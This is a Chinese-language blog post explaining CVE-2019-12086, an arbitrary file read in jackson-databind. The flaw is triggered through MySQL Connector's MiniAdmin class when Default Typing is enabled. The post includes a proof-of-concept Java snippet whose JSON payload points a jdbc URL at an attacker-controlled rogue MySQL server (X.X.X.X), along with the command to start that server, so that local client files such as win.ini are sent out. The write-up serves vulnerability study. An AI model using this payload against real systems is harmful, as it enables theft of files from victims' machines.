CVE-2019-12086 jackson任意文件读取漏洞

未分类 Admin 1个月前 (08-12) 76次浏览 0个评论

漏洞说明

CVE-2019-12086:在2.9.9之前的FasterXML jackson-databind 2.x中发现了漏洞。在开启Default Typing的情况下,且classpath中存在mysql-connector-java 8.0.15版本(2019.2.1发布)以下,攻击者可以通过发送恶意json数据读取任意文件

 

环境搭建

引入jar包:

CVE-2019-12086 POC

首先创建一个恶意的MySQL,可以使用https://github.com/Gifts/Rogue-MySql-Server。这个server读取客户端文件,并写入到mysql.log中。
假设启动在ip:X.X.X.X上面,那么在客户端执行如下代码,执行代码所在的机器上的c:\windows\win.ini(修改rogue_mysql_server.py中的
filelist)文件内容就会出现在mysql.log中。

    ObjectMapper om = new ObjectMapper();
    om.enableDefaultTyping();

    String poc = "[\"com.mysql.cj.jdbc.admin.MiniAdmin\", \"jdbc:mysql://X.X.X.X:3306/db\"]";
    Object obj = om.readValue(poc, Object.class);

 

在服务器端启动恶意的MySQL服务,需要先关闭自己的mysql服务(如果开启了的话)

python rogue_mysql_server.py

在客户端运行poc,服务端读取到文件内容

 

注意事项

  1. 在开启Default Typing的情况下,jackson在反序列化json时,可以反序列化指定类,且可以指定一个基础类型的值作为这个类的构造函数的参数的值。
  2. com.mysql.cj.jdbc.admin.MiniAdmin的构造函数接受一个string的值,这个值代表jdbcURL,com.mysql.cj.jdbc.admin.MiniAdmin类在初始化会连接这个jdbcURL中指定的MySQL数据库。
  3. 在mysql-connector-java (6.0.3-8.0.15)版本,恶意MySQL服务器可以读取MySQL客户端的任意本地文件,从而导致漏洞产生。

 

为什么需要6.0.3以上?

1、classpath下需要有mysql-connector-java.jar,且需要有

com.mysql.cj.jdbc.admin.MiniAdmin

2、在6.0.2版本中,在cj/core/config/PropertyDefinitions.class 422行,maxAllowedPacket默认为-1

 

而6.0.3默认为65535,所以需要>=6.0.3

 

喜欢 (0)
发表我的评论
取消评论
表情 贴图 加粗 删除线 居中 斜体 签到

Hi,您需要填写昵称和邮箱!

  • 昵称 (必填)
  • 邮箱 (必填)
  • 网址